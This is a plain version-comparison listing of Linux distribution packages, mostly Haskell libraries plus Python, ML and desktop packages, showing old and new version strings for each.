                       haskell-foldl            1.4.18-93            1.4.18-94
                    haskell-fourmolu           0.13.1.0-5           0.14.0.0-2
                        haskell-free              5.2-124              5.2-125
                    haskell-fsnotify           0.4.4.0-40           0.4.4.0-42
                haskell-generic-data           1.1.0.2-66           1.1.0.2-68
                haskell-generic-lens          2.2.2.0-200          2.2.2.0-202
                   haskell-ghc-check          0.5.0.8-150          0.5.0.8-151
              haskell-ghc-exactprint            1.7.1.0-9           1.7.1.0-10
                      haskell-ghcide           2.2.0.0-16            2.3.0.0-5
           haskell-ghcide-test-utils          1.9.0.0-292          1.9.0.0-299
                          haskell-gi           0.26.16-10           0.26.16-12
                      haskell-gi-atk            2.0.28-38            2.0.28-40
                    haskell-gi-cairo            1.0.30-31            1.0.30-33
          haskell-gi-cairo-connector            0.1.1-313            0.1.1-315
                 haskell-gi-dbusmenu            0.4.14-33            0.4.14-35
             haskell-gi-dbusmenugtk3           0.4.15-130           0.4.15-132
                haskell-gi-freetype2             2.0.5-41             2.0.5-43
                      haskell-gi-gdk            4.0.9-106            4.0.9-108
                     haskell-gi-gdk3            3.0.29-30            3.0.29-32
                  haskell-gi-gdk3x11             3.0.15-6             3.0.16-1
                haskell-gi-gdkpixbuf           2.0.32-142           2.0.32-144
                   haskell-gi-gdkx11            4.0.8-129            4.0.8-131
                      haskell-gi-gio            2.0.38-25            2.0.38-27
                     haskell-gi-glib            2.0.30-59            2.0.30-61
                  haskell-gi-gmodule             2.0.6-43             2.0.6-45
                  haskell-gi-gobject            2.0.31-75            2.0.31-77
                 haskell-gi-graphene             1.0.8-68             1.0.8-70
                      haskell-gi-gsk             4.0.8-55             4.0.8-57
                      haskell-gi-gtk            4.0.11-32            4.0.11-34
                   haskell-gi-gtk-hs           0.3.17-101           0.3.17-103
                     haskell-gi-gtk3            3.0.43-13            3.0.43-15
                 haskell-gi-harfbuzz           0.0.10-147           0.0.10-149
                    haskell-gi-pango            1.0.30-36            1.0.30-38
                     haskell-gi-xlib            2.0.14-93            2.0.14-95
                     haskell-git-lfs             1.2.5-78             1.2.5-81
                     haskell-githash          0.1.6.3-345          0.1.6.3-348
                haskell-gtk-sni-tray          0.1.8.1-394          0.1.8.1-397
                   haskell-gtk-strut          0.1.3.2-348          0.1.3.2-350
                  haskell-hackage-db            2.1.3-191            2.1.3-193
            haskell-hackage-security           0.6.3.2-13           0.6.3.2-15
             haskell-haddock-library           1.11.0-184           1.11.0-188
                     haskell-hadrian     0.1.0.0+9.6.6-16     0.1.0.0+9.6.6-19
                      haskell-hakyll          4.16.4.0-25          4.16.4.0-31
            haskell-happstack-server             7.9.3-24             7.9.3-25
                       haskell-hasql          1.5.0.5-114            1.6.1.1-2
    haskell-hasql-dynamic-statements          0.3.1.1-280            0.3.1.2-2
             haskell-hasql-implicits          0.1.0.5-316          0.1.0.5-320
         haskell-hasql-notifications           0.2.0.5-89           0.2.0.5-93
                  haskell-hasql-pool          0.5.2.2-399            0.8.0.2-2
           haskell-hasql-transaction          1.0.1.1-421            1.0.1.2-2
            haskell-hedgehog-classes          0.2.5.4-216          0.2.5.4-218
                        haskell-here           1.2.14-135           1.2.14-136
                    haskell-hie-bios           0.12.0-159           0.12.0-161
                 haskell-hledger-lib               1.52-6               1.52-8
haskell-hls-alternate-number-format-plugin     2.2.0.0-16            2.3.0.0-5
        haskell-hls-cabal-fmt-plugin           2.2.0.0-16            2.3.0.0-5
            haskell-hls-cabal-plugin           2.2.0.0-16            2.3.0.0-5
   haskell-hls-call-hierarchy-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-change-type-signature-plugin       2.2.0.0-16            2.3.0.0-5
            haskell-hls-class-plugin           2.2.0.0-16            2.3.0.0-5
       haskell-hls-code-range-plugin           2.2.0.0-16            2.3.0.0-5
             haskell-hls-eval-plugin           2.2.0.0-16            2.3.0.0-5
  haskell-hls-explicit-fixity-plugin           2.2.0.0-16            2.3.0.0-5
 haskell-hls-explicit-imports-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-explicit-record-fields-plugin      2.2.0.0-16            2.3.0.0-5
         haskell-hls-floskell-plugin           2.2.0.0-16            2.3.0.0-5
         haskell-hls-fourmolu-plugin           2.2.0.0-17            2.3.0.0-5
             haskell-hls-gadt-plugin           2.2.0.0-17            2.3.0.0-5
                   haskell-hls-graph           2.2.0.0-12            2.3.0.0-4
            haskell-hls-hlint-plugin           2.2.0.0-16            2.3.0.0-5
      haskell-hls-module-name-plugin           2.2.0.0-16            2.3.0.0-5
           haskell-hls-ormolu-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-overloaded-record-dot-plugin       2.2.0.0-16            2.3.0.0-5
              haskell-hls-plugin-api           2.2.0.0-15            2.3.0.0-4
          haskell-hls-pragmas-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-qualify-imported-names-plugin      2.2.0.0-16            2.3.0.0-5
         haskell-hls-refactor-plugin           2.2.0.0-17            2.3.0.0-5
           haskell-hls-rename-plugin           2.2.0.0-17            2.3.0.0-5
           haskell-hls-retrie-plugin           2.2.0.0-17            2.3.0.0-5
           haskell-hls-splice-plugin           2.2.0.0-17            2.3.0.0-5
  haskell-hls-stylish-haskell-plugin           2.2.0.0-16            2.3.0.0-5
              haskell-hls-test-utils           2.2.0.0-16            2.3.0.0-5
                     haskell-hoauth2            2.14.0-16            2.14.0-19
                    haskell-hopenpgp           2.10.1-121           2.10.1-124
                       haskell-hpack            0.38.0-21            0.38.0-24
                       haskell-hslua            2.3.0-203            2.3.0-206
                 haskell-hslua-aeson           2.3.1.1-51           2.3.1.1-54
               haskell-hslua-classes             2.3.1-30             2.3.1-31
                  haskell-hslua-core             2.3.2-34             2.3.2-35
                  haskell-hslua-list             1.1.4-29             1.1.4-30
           haskell-hslua-marshalling            2.3.1-141            2.3.1-142
      haskell-hslua-module-doclayout             1.2.0-11             1.2.0-14
           haskell-hslua-module-path            1.1.1-105            1.1.1-108
         haskell-hslua-module-system             1.1.2-54             1.1.2-55
           haskell-hslua-module-text          1.1.0.1-168          1.1.0.1-169
        haskell-hslua-module-version            1.1.1-147            1.1.1-150
            haskell-hslua-module-zip             1.1.3-47             1.1.3-48
     haskell-hslua-objectorientation             2.3.1-49             2.3.1-50
             haskell-hslua-packaging            2.3.1-151            2.3.1-152
                  haskell-hslua-repl            0.1.2-147            0.1.2-148
                haskell-hslua-typing            0.1.1-143            0.1.1-144
                   haskell-hspec-wai           0.11.1-639           0.11.1-642
              haskell-hspec-wai-json           0.11.0-710           0.11.0-713
                haskell-hsyaml-aeson           0.2.0.2-58           0.2.0.2-60
                         haskell-htf          0.15.0.2-68          0.15.0.2-70
                haskell-html-conduit          1.3.2.2-388          1.3.2.2-390
                        haskell-http         4000.4.1-398         4000.4.1-401
                 haskell-http-client            0.7.19-58            0.7.19-60
      haskell-http-client-restricted            0.1.0-198            0.1.0-201
             haskell-http-client-tls          0.3.6.4-137          0.3.6.4-140
                haskell-http-conduit          2.3.9.1-197          2.3.9.1-200
               haskell-http-download          0.2.1.0-327          0.2.1.0-330
                haskell-http-streams          0.8.9.9-292          0.8.9.9-295
                       haskell-http2             5.1.0-17             5.1.0-19
                       haskell-http3             0.0.9-21             0.0.9-23
                  haskell-httpd-shed          0.4.1.2-108          0.4.1.2-109
               haskell-hw-fingertree          0.1.2.1-194          0.1.2.1-196
           haskell-hw-hspec-hedgehog          0.1.1.1-213          0.1.1.1-215
                     haskell-hw-prim          0.6.3.2-213          0.6.3.2-215
                         haskell-hxt         9.3.1.22-234         9.3.1.22-235
                haskell-implicit-hie           0.1.4.0-78           0.1.4.0-80
         haskell-implicit-hie-cradle          0.5.0.1-192          0.5.0.1-194
          haskell-incremental-parser            0.5.1-166            0.5.1-167
   haskell-insert-ordered-containers          0.2.5.3-200          0.2.5.3-203
                 haskell-interpolate            0.2.1-468            0.2.1-469
    haskell-interpolatedstring-perl6            1.0.2-405            1.0.2-406
                   haskell-invariant             0.6.4-94             0.6.4-95
                       haskell-ipynb              0.2-283              0.2-285
              haskell-ipython-kernel           0.12.0.0-8          0.12.0.0-10
           haskell-isomorphism-class             0.1.1-92             0.1.1-94
                 haskell-ixset-typed          0.5.1.0-314          0.5.1.0-316
                        haskell-jose             0.10-256             0.10-259
                   haskell-js-jquery            3.7.1-107            3.7.1-110
              haskell-kan-extensions             5.2.7-85             5.2.7-87
                        haskell-keys             3.12.5-5             3.12.5-6
                    haskell-kvitable            1.1.1.1-7           1.1.1.1-10
           haskell-lambdabot-trusted          5.3.1.2-244          5.3.1.2-247
                  haskell-lambdahack         0.11.0.1-190         0.11.0.1-193
             haskell-language-server           2.2.0.0-19            2.3.0.0-5
                    haskell-lattices             2.2.1-96             2.2.1-97
                        haskell-lens              5.3.4-1              5.3.4-3
                 haskell-lens-action            0.2.6-329            0.2.6-331
                  haskell-lens-aeson            1.2.3-202            1.2.3-205
                     haskell-libyaml            0.1.4-161            0.1.4-163
                      haskell-linear            1.23.2-47            1.23.2-49
                      haskell-list-t           1.0.5.7-63           1.0.5.7-65
                    haskell-lrucache           1.2.0.1-26           1.2.0.1-27
                         haskell-lsp           2.2.0.0-10           2.2.0.0-13
                    haskell-lsp-test          0.16.0.0-11          0.16.0.0-14
                   haskell-lsp-types            2.0.2.0-9           2.0.2.0-12
               haskell-lua-arbitrary          1.0.1.1-135            1.0.1.2-1
                  haskell-lumberjack          1.0.3.0-172          1.0.3.0-173
                  haskell-microaeson           0.1.0.3-43           0.1.0.3-45
             haskell-microlens-aeson            2.5.2-151            2.5.2-153
                 haskell-microstache          1.0.2.3-212          1.0.2.3-214
                  haskell-mime-types            0.1.2.0-4            0.1.2.1-1
                       haskell-mmark          0.0.7.6-346          0.0.7.6-348
                         haskell-mod           0.2.1.0-30           0.2.1.0-32
                  haskell-modern-uri          0.3.6.1-147          0.3.6.1-148
              haskell-monad-dijkstra          0.1.1.5-193          0.1.1.5-195
                haskell-monad-logger           0.3.42-113           0.3.42-115
            haskell-mono-traversable         1.0.21.0-135         1.0.21.0-137
  haskell-mono-traversable-instances          0.1.1.0-386          0.1.1.0-389
                    haskell-mustache           2.4.3.1-72           2.4.3.1-76
          haskell-mutable-containers          0.3.4.1-242          0.3.4.1-244
                  haskell-named-text           1.2.2.0-13           1.2.2.0-16
          haskell-neat-interpolation          0.5.1.4-199          0.5.1.4-201
                 haskell-network-uri          2.6.4.2-137          2.6.4.2-138
                        haskell-oeis           0.3.10.2-6           0.3.10.2-9
                   haskell-one-liner              2.1.1-2              2.1.1-3
             haskell-optparse-simple          0.1.1.4-535          0.1.1.4-538
                      haskell-ormolu           0.6.0.0-13           0.6.0.0-15
                       haskell-pager          0.1.1.0-218          0.1.1.0-220
                      haskell-pandoc               3.5-12                3.6-2
           haskell-pandoc-lua-engine             0.3.3-14                0.4-2
          haskell-pandoc-lua-marshal             0.2.9-15              0.3.0-1
               haskell-pandoc-server           0.1.0.10-3           0.1.0.10-9
                haskell-pandoc-types           1.23.1-164           1.23.1-166
                      haskell-pantry           0.8.2.2-32           0.8.2.2-36
         haskell-parameterized-utils           2.1.11.0-9          2.1.11.0-12
                        haskell-path              0.9.6-9             0.9.6-11
                     haskell-path-io            1.8.2-140            1.8.2-142
                  haskell-persistent          2.14.5.2-58          2.14.5.2-61
            haskell-persistent-mysql         2.13.1.5-100         2.13.1.5-103
       haskell-persistent-postgresql          2.13.5.2-24          2.13.5.2-27
               haskell-persistent-qq          2.12.0.7-73          2.12.0.7-76
           haskell-persistent-sqlite          2.13.1.1-66          2.13.1.1-69
             haskell-persistent-test         2.13.1.3-208         2.13.1.3-211
                  haskell-pipes-http            1.0.6-770            1.0.6-773
                     haskell-pointed            5.0.5-125            5.0.5-127
           haskell-postgresql-binary           0.12.5-267           0.12.5-270
           haskell-postgresql-simple          0.6.5.1-112          0.6.5.1-114
        haskell-prettyprinter-interp          0.2.0.0-157          0.2.0.0-158
                   haskell-prim-uniq              0.2-250              0.2-252
            haskell-primitive-extras         0.10.2.2-131         0.10.2.2-134
                 haskell-profunctors             5.6.3-82             5.6.3-83
            haskell-project-template          0.2.1.0-508          0.2.1.0-510
                         haskell-ptr         0.16.8.7-128         0.16.8.7-130
                        haskell-quic             0.1.27-3             0.1.27-5
          haskell-quickcheck-classes          0.6.5.0-342          0.6.5.0-344
                         haskell-ral             0.2.2-54             0.2.2-56
                      haskell-rebase            1.20.2-14            1.20.2-16
                   haskell-recaptcha          0.1.0.4-379          0.1.0.4-382
           haskell-recursion-schemes            5.2.3-141            5.2.3-142
                    haskell-reducers           3.12.5-125           3.12.5-126
                    haskell-refinery          0.4.0.0-317          0.4.0.0-318
                         haskell-req            3.13.4-32            3.13.4-35
                        haskell-rere           0.2.0.2-13           0.2.0.2-15
                    haskell-rerebase            1.20.2-14            1.20.2-16
                      haskell-retrie            1.2.3-159            1.2.3-161
                 haskell-rio-orphans          0.1.2.0-486          0.1.2.0-488
             haskell-rio-prettyprint           0.1.8.0-69           0.1.8.0-71
                   haskell-row-types           1.0.1.2-66           1.0.1.2-68
                    haskell-safecopy          0.10.4.3-57          0.10.4.3-59
                       haskell-sandi              0.5-597              0.5-599
                    haskell-sandwich           0.2.2.0-20           0.2.2.0-22
                      haskell-scotty             0.22-203             0.22-206
                        haskell-sdl2          2.5.5.1-128          2.5.5.1-131
                    haskell-sdl2-ttf            2.1.3-278            2.1.3-281
                   haskell-semialign             1.3.1-58             1.3.1-59
               haskell-semigroupoids              6.0.2-3              6.0.2-4
                   haskell-serialise          0.2.6.1-174          0.2.6.1-176
                     haskell-servant          0.20.3.0-52          0.20.3.0-54
              haskell-servant-client          0.20.3.0-67          0.20.3.0-71
         haskell-servant-client-core          0.20.3.0-52          0.20.3.0-54
              haskell-servant-server          0.20.3.0-67          0.20.3.0-70
             haskell-servant-swagger            1.2.1-153            1.2.1-156
                       haskell-shake           0.19.6-387           0.19.6-390
                 haskell-shakespeare             2.1.7-14            2.1.7.1-2
             haskell-simple-sendfile           0.2.32-196           0.2.32-198
                 haskell-skylighting             0.14.4-3             0.14.4-5
            haskell-skylighting-core             0.14.4-3             0.14.4-5
     haskell-skylighting-format-ansi              0.1-293              0.1-295
haskell-skylighting-format-blaze-html         0.1.1.3-147          0.1.1.3-149
  haskell-skylighting-format-context          0.1.0.2-257          0.1.0.2-259
    haskell-skylighting-format-latex              0.1-292              0.1-294
                   haskell-snap-core          1.0.5.1-210          1.0.5.1-211
                 haskell-snap-server          1.1.2.1-362          1.1.2.1-365
                   haskell-sourcemap            0.1.7-299            0.1.7-301
                    haskell-src-meta            0.8.15-90            0.8.15-91
                  haskell-statistics           0.16.4.0-9          0.16.4.0-11
        haskell-status-notifier-item            0.3.2.0-2            0.3.2.0-5
              haskell-stm-containers          1.2.1.1-160          1.2.1.1-164
                    haskell-stm-hamt          1.2.1.1-132              1.2.2-3
                       haskell-store           0.7.20-137           0.7.20-139
                     haskell-streams            3.3.3-125            3.3.3-127
                 haskell-strict-list          0.1.7.6-132          0.1.7.6-134
          haskell-string-interpolate          0.3.4.0-143          0.3.4.0-144
                  haskell-structured            0.1.1-319            0.1.1-321
                    haskell-summoner            2.1.0.0-2            2.1.0.0-6
                haskell-summoner-tui            2.1.0.0-2            2.1.0.0-6
                    haskell-swagger2            2.8.10-98           2.8.10-101
           haskell-tagstream-conduit            0.5.6-536            0.5.6-538
haskell-tamarin-prover-accountability            1.12.0-6             1.12.0-8
       haskell-tamarin-prover-export             1.12.0-6             1.12.0-8
        haskell-tamarin-prover-sapic             1.12.0-6             1.12.0-8
         haskell-tamarin-prover-term             1.12.0-6             1.12.0-8
       haskell-tamarin-prover-theory             1.12.0-6             1.12.0-8
        haskell-tamarin-prover-utils             1.12.0-6             1.12.0-8
                 haskell-tar-conduit            0.4.1-191            0.4.1-193
             haskell-tasty-checklist           1.0.8.0-10           1.0.8.0-13
                 haskell-tasty-hslua            1.1.1-139            1.1.1-140
                   haskell-tasty-lua           1.1.1.1-72           1.1.1.1-73
                 haskell-tasty-sugar           2.2.2.1-85           2.2.2.1-88
                     haskell-tdigest            0.3.1-150            0.3.1-152
                     haskell-texmath         0.12.8.11-15          0.12.8.12-1
                haskell-text-builder            0.6.7-283            0.6.7-285
            haskell-text-builder-dev          0.3.3.2-244          0.3.3.2-246
                   haskell-th-compat             0.1.6-87              0.1.7-1
                  haskell-th-desugar               1.16-3               1.16-4
                      haskell-th-env            0.1.1-164            0.1.1-165
                  haskell-th-orphans            0.13.17-4            0.13.17-5
                haskell-th-utilities          0.2.5.2-102          0.2.5.2-103
                         haskell-tls             2.0.6-71             2.0.6-73
         haskell-tls-session-manager             0.0.6-21             0.0.6-23
                   haskell-tree-diff          0.3.0.1-229              0.3.1-3
                    haskell-trifecta            2.1.4-174            2.1.4-176
                      haskell-turtle            1.6.2-161            1.6.2-162
                       haskell-typst               0.6-19              0.6.1-1
               haskell-typst-symbols              0.1.6-2              0.1.7-1
        haskell-uri-bytestring-aeson          0.1.0.9-133          0.1.0.9-135
                  haskell-uri-encode          1.5.0.7-319          1.5.0.7-320
                         haskell-vec             0.5.1-52             0.5.1-54
           haskell-vector-algorithms          0.9.1.0-123          0.9.1.0-125
              haskell-vector-builder          0.3.8.6-139          0.3.8.6-141
            haskell-vector-instances             3.4.3-77             3.4.3-79
                haskell-vector-sized            1.6.1-155            1.6.1-157
            haskell-wai-app-file-cgi            3.1.11-20            3.1.11-23
              haskell-wai-app-static            3.1.9-233            3.1.9-236
                 haskell-wai-conduit          3.0.0.4-714          3.0.0.4-716
                   haskell-wai-extra            3.1.18-41            3.1.18-44
          haskell-wai-handler-launch          3.0.3.1-811          3.0.3.1-814
             haskell-wai-http2-extra            0.1.3-376            0.1.3-379
       haskell-wai-middleware-static            0.9.3-192            0.9.3-195
                        haskell-warp             3.4.0-19             3.4.0-22
                   haskell-warp-quic            0.0.0-435            0.0.0-438
                    haskell-warp-tls            3.4.9-191            3.4.9-194
                       haskell-weigh           0.0.18-122           0.0.18-124
                       haskell-what4               1.6-78               1.6-81
                   haskell-wide-word           0.1.8.1-33           0.1.8.1-35
                   haskell-with-utf8          1.1.0.0-131          1.1.0.0-132
            haskell-wl-pprint-extras          3.5.0.5-560          3.5.0.5-561
          haskell-wl-pprint-terminfo          3.7.1.4-560          3.7.1.4-561
                        haskell-wreq            0.5.4.4-3            0.5.4.4-7
                        haskell-wuss           2.0.1.6-31           2.0.1.6-33
                      haskell-xcffib             1.6.1-14             1.6.1-15
           haskell-xdg-desktop-entry            0.1.1.3-2            0.1.1.3-3
                 haskell-xml-conduit          1.9.1.4-150          1.9.1.4-152
                  haskell-xml-hamlet            0.5.0.3-8           0.5.0.3-11
                      haskell-xmlgen          0.6.2.2-191          0.6.2.2-192
                haskell-xss-sanitize          0.3.7.2-131          0.3.7.2-132
                        haskell-yaml        0.11.11.2-205        0.11.11.2-207
                       haskell-yesod          1.6.2.1-460          1.6.2.1-464
                  haskell-yesod-auth         1.6.11.3-282         1.6.11.3-286
                  haskell-yesod-core         1.6.27.1-115         1.6.27.1-119
                  haskell-yesod-form            1.7.9.2-2            1.7.9.2-6
            haskell-yesod-persistent          1.6.0.8-520          1.6.0.8-524
                haskell-yesod-static          1.6.1.0-979          1.6.1.0-983
                  haskell-yesod-test           1.6.23-134           1.6.23-138
                           hedgewars             1.0.3-19             1.0.3-21
                               hefur               1.0-35               1.0-36
                               hepmc              3.3.1-7              3.3.1-8
                          hepmc-docs              3.3.1-7              3.3.1-8
                             hindent              6.1.1-6              6.1.1-8
                               hiprt      3.1.0.cb09c56-2      3.1.0.cb09c56-3
                             hledger               1.52-6              1.52-10
                        hledger-iadd            1.3.22-17            1.3.22-19
                          hledger-ui               1.52-7              1.52-11
                         hledger-web              1.52-10              1.52-14
                               hlint              3.6.1-8             3.6.1-10
                              hoogle         5.0.18.4-265         5.0.18.4-268
                      hopenpgp-tools           0.23.11-40           0.23.11-44
              hsa-amd-aqlprofile-bin              7.1.0-1              7.1.0-2
                           hslua-cli             1.4.3-87             1.4.3-88
                       i3status-rust             0.36.0-1             0.36.1-1
                               iaito              5.9.9-1              6.1.2-1
                      ibus-libpinyin             1.16.0-4             1.16.1-1
                               idris            1.3.4-478            1.3.4-481
                            ihaskell           0.13.0.0-9          0.13.0.0-12
                               incus             6.22.0-1             6.23.0-1
                         incus-tools             6.22.0-1             6.23.0-1
                              jasper              4.2.8-1              4.2.9-1
                          jasper-doc              4.2.8-1              4.2.9-1
                     jellyfin-ffmpeg          1:7.1.3p3-2          1:7.1.3p4-1
                                jolt              1.2.0-2              1.2.0-3
                               kicad             10.0.0-1             10.0.0-2
                          kitinerary            25.12.3-2            25.12.3-3
                              kmonad             0.4.4-89             0.4.4-91
                       kosmindoormap            25.12.3-1            25.12.3-2
                   libedataserverui4             3.58.3-1             3.58.3-2
                               libhx                5.3-1                5.4-1
              libperconaserverclient            8.4.8_8-1            8.4.8_8-2
                      libphonenumber           1:9.0.27-1           1:9.0.27-2
                            libsbsms              2.3.0-5              2.3.0-6
                           libsigrok             0.5.2-25             0.5.2-26
                           libtg_owt    0.git33.26068e2-1    0.git33.26068e2-2
                              libvlc             3.0.22-1             3.0.22-2
                              libvpx             1.16.0-2             1.16.0-3
                      libwireplumber             0.5.13-2             0.5.14-1
                              libwmf             0.2.13-4             0.2.14-1
                              libxdp              1.6.2-1              1.6.3-1
                          lincity-ng             2.14.2-2             2.14.2-3
                           lostfiles               4.14-1               4.15-1
                        lua-luarocks             3.13.0-4             3.13.0-5
                      lua51-luarocks             3.13.0-4             3.13.0-5
                      lua52-luarocks             3.13.0-4             3.13.0-5
                      lua53-luarocks             3.13.0-4             3.13.0-5
                      lua54-luarocks             3.13.0-4             3.13.0-5
                              luajit2.1.1774638290+fbb36bb-12.1.1774896198+18b087c-1
                            luarocks             3.13.0-4             3.13.0-5
                                mako             1.10.0-1             1.11.0-1
                              marble            25.12.3-1            25.12.3-2
                       marble-behaim            25.12.3-1            25.12.3-2
                       marble-common            25.12.3-1            25.12.3-2
                         marble-maps            25.12.3-1            25.12.3-2
                           marble-qt            25.12.3-1            25.12.3-2
                              maxima             5.49.0-7             5.49.0-8
                          maxima-ecl             5.49.0-7             5.49.0-8
                          maxima-fas             5.49.0-7             5.49.0-8
                         maxima-sbcl             5.49.0-7             5.49.0-8
                             melange             0.46.1-1             0.47.0-1
                          merkaartor            0.20.0-20            0.20.0-21
                               mgard              1.6.0-5              1.6.0-6
                           mighttpd2             4.0.4-25             4.0.4-28
                            migraphx              7.2.0-1              7.2.0-2
                           miniupnpd              2.3.9-2             2.3.10-1
                                mise           2026.3.8-1          2026.3.17-1
                               mixxx              2.5.4-2              2.5.4-3
                     mkdocs-material              9.7.5-1              9.7.6-1
                                moor             2.11.1-1             2.12.0-1
                                mosh             1.4.0-28             1.4.0-29
                           mosquitto             2.0.22-2              2.1.2-1
                              mumble            1.5.857-5            1.5.857-6
                       mumble-server            1.5.857-5            1.5.857-6
                              nageru              2.3.2-2              2.3.2-3
                                ncnn           20260113-3           20260113-4
                               ndctl                 82-1                 83-1
                             neovide             0.15.2-2             0.16.0-1
                              neovim             0.11.6-1             0.11.7-1
                             netdata              2.9.0-1              2.9.0-2
               netfilter-fullconenat      r73.0cf3b48-503      r73.0cf3b48-504
                    nextcloud-client           2:33.0.0-1           2:33.0.1-1
                             ngspice               45.2-2                 46-1
                              nickel             1.16.0-2             1.16.0-3
                         nickel-docs             1.16.0-2             1.16.0-3
              nickel-language-server             1.16.0-2             1.16.0-3
                         nodejs-yaml              2.3.1-1              2.3.2-1
                   npm-check-updates             19.5.0-1             19.6.0-1
                                nrpe              4.1.1-1              4.1.2-1
                              nsjail               3.4-22               3.4-23
                              ollama             0.18.3-1             0.19.0-1
                         ollama-cuda             0.18.3-1             0.19.0-1
                         ollama-docs             0.18.3-1             0.19.0-1
                         ollama-rocm             0.18.3-1             0.19.0-1
                       ollama-vulkan             0.18.3-1             0.19.0-1
                                onnx           1:1.20.1-1           1:1.20.1-2
                     onnxruntime-cpu             1.24.4-3             1.24.4-4
                    onnxruntime-cuda             1.24.4-3             1.24.4-4
                onnxruntime-opt-cuda             1.24.4-3             1.24.4-4
                onnxruntime-opt-rocm             1.24.4-3             1.24.4-4
                    onnxruntime-rocm             1.24.4-3             1.24.4-4
                   open-policy-agent             1.15.0-1             1.15.1-1
                            opencode              1.3.3-1              1.3.8-1
                              opencv             4.13.0-3             4.13.0-4
                         opencv-cuda             4.13.0-3             4.13.0-4
                      opencv-samples             4.13.0-3             4.13.0-4
                             openrgb             1.0rc2-5             1.0rc2-6
                          pandoc-cli               3.5-18                3.6-2
                     pandoc-crossref           0.3.19-182           0.3.19-188
                         pandoc-plot            1.9.1-256            1.9.1-263
                         pandora_box             0.20.0-1             0.20.1-1
                            paraview             6.0.1-10             6.0.1-11
                            pd-sfizz             1.2.3-12             1.2.3-13
                      percona-server            8.4.8_8-1            8.4.8_8-2
              percona-server-clients            8.4.8_8-1            8.4.8_8-2
             perl-business-isbn-data       20260325.001-1       20260328.001-1
                         perl-libwww               6.81-2               6.82-1
                     perl-xml-parser               2.48-1               2.49-1
                            php-grpc             1.78.1-2             1.80.0-1
                     php-legacy-grpc             1.78.1-2             1.80.0-1
                     platformio-core             6.1.19-1             6.1.19-3
                platformio-core-udev             6.1.19-1             6.1.19-3
                      podman-desktop             1.25.1-1             1.26.2-1
                           postgrest           10.0.0-532             10.1.0-2
                            protobuf               33.1-4               34.1-1
                          protobuf-c              1.5.2-8              1.5.2-9
                      proton-vpn-cli              0.1.7-1              0.1.8-1
                  proton-vpn-gtk-app             4.15.0-1             4.15.1-1
                   protonmail-bridge             3.23.1-1             3.23.1-2
              protonmail-bridge-core             3.23.1-1             3.23.1-2
                        prusa-slicer              2.9.4-7              2.9.4-8
                           pt2-clone               1.85-1               1.87-1
                     python-cairosvg              2.8.2-1              2.9.0-1
                 python-cinderclient              9.7.0-1              9.8.0-1
                   python-cloudflare             2.15.1-1             2.16.0-1
               python-configargparse              1.7.3-1              1.7.4-1
                    python-curl_cffi             0.14.0-6             0.14.0-7
                     python-deepdiff              8.1.1-1              8.2.0-1
                     python-eth-hash              0.7.1-1              0.8.0-1
                        python-faker             40.9.0-1            40.10.0-1
                  python-fastnumbers              5.1.1-2              5.1.1-3
                     python-flasgger            0.9.7.1-7                    -
                python-flask-restful             0.3.10-6                    -
                        python-gdstk             0.9.46-1             0.9.47-1
     python-googleapis-common-protos             1.73.0-1             1.73.1-1
                       python-grpcio             1.78.1-2             1.80.0-1
                 python-grpcio-tools             1.78.1-2             1.80.0-1
                     python-identify             2.6.17-1             2.6.18-2
           python-importlib-metadata              8.7.1-3              9.0.0-1
                  python-json-logger              4.0.0-1              4.1.0-1
                         python-lmdb              2.1.1-1              2.2.0-1
                      python-mockito              2.0.0-1              2.0.1-1
                     python-narwhals             2.18.0-1             2.18.1-1
                        python-numpy              2.4.3-1              2.4.4-1
                         python-onnx           1:1.20.1-1           1:1.20.1-2
              python-onnxruntime-cpu             1.24.4-3             1.24.4-4
             python-onnxruntime-cuda             1.24.4-3             1.24.4-4
         python-onnxruntime-opt-cuda             1.24.4-3             1.24.4-4
         python-onnxruntime-opt-rocm             1.24.4-3             1.24.4-4
             python-onnxruntime-rocm             1.24.4-3             1.24.4-4
                       python-opencv             4.13.0-3             4.13.0-4
                  python-opencv-cuda             4.13.0-3             4.13.0-4
              python-openstackclient              8.0.0-1              8.1.0-1
                 python-openstacksdk              4.4.0-2              4.5.0-1
                       python-orjson             3.11.7-1             3.11.7-2
                    python-oslo-i18n              6.7.1-1              6.7.2-1
                      python-plexapi             4.18.0-1             4.18.1-1
                      python-protego              0.4.0-1              0.5.0-1
                     python-protobuf               33.1-4               34.1-1
          python-proton-vpn-api-core             4.16.0-1             4.17.2-1
                 python-pychromecast             14.0.9-4            14.0.10-1
                python-pydantic-core           3:2.41.5-3           3:2.41.5-4
                       python-pygit2             1.19.1-2             1.19.2-1
                     python-pypandoc             1.16.2-1               1.17-1
                     python-pypubsub             4.0.3-11              4.0.4-1
                       python-pysdl3           0.9.10b0-1           0.9.11b0-1
                      python-pytorch             2.10.0-3             2.10.0-4
                 python-pytorch-cuda             2.10.0-3             2.10.0-4
                  python-pytorch-opt             2.10.0-3             2.10.0-4
             python-pytorch-opt-cuda             2.10.0-3             2.10.0-4
             python-pytorch-opt-rocm             2.10.0-3             2.10.0-4
                 python-pytorch-rocm             2.10.0-3             2.10.0-4
                        python-regex          2026.2.28-1          2026.3.32-1
                     python-requests             2.32.5-4             2.33.1-1
              python-setuptools-rust             1.12.0-3             1.12.1-1
                        python-sybil              6.1.1-2              7.0.0-1
                    python-testtools              2.8.3-2              2.8.4-1
                      python-textual              8.1.1-1              8.2.1-1
                        python-tomli              2.4.0-1              2.4.1-1
                          python-tox             4.32.0-1             4.33.0-1
                       python-triton              3.5.1-3              3.5.1-4
                        python-urwid              3.0.5-1              4.0.0-1
                   python-validators             0.30.0-1             0.31.0-1
                        python-w3lib              2.3.0-2              2.3.1-1
                     python-werkzeug              3.1.5-1              3.1.6-1
                    python-z3-solver             4.15.4-2             4.16.0-1
                                qgis              4.0.0-1              4.0.0-2
                            qt6-grpc             6.11.0-1             6.11.0-2
                          quickshell              0.2.1-5              0.2.1-6
                           qwen-code             0.13.1-1             0.13.2-1
                            r2ghidra              5.9.8-1              6.1.2-1
                             radare2              5.9.8-1              6.1.2-1
                               razor               2.86-3               2.87-2
                                 re2       2:2025.11.05-1       2:2025.11.05-3
                              reaper               7.66-1               7.67-1
                               rizin              0.8.1-2              0.8.2-1
                               rocal              7.2.0-1              7.2.0-2
                          rofi-emoji              4.1.0-2              4.1.0-3
                          rpi-imager              2.0.6-2              2.0.6-3
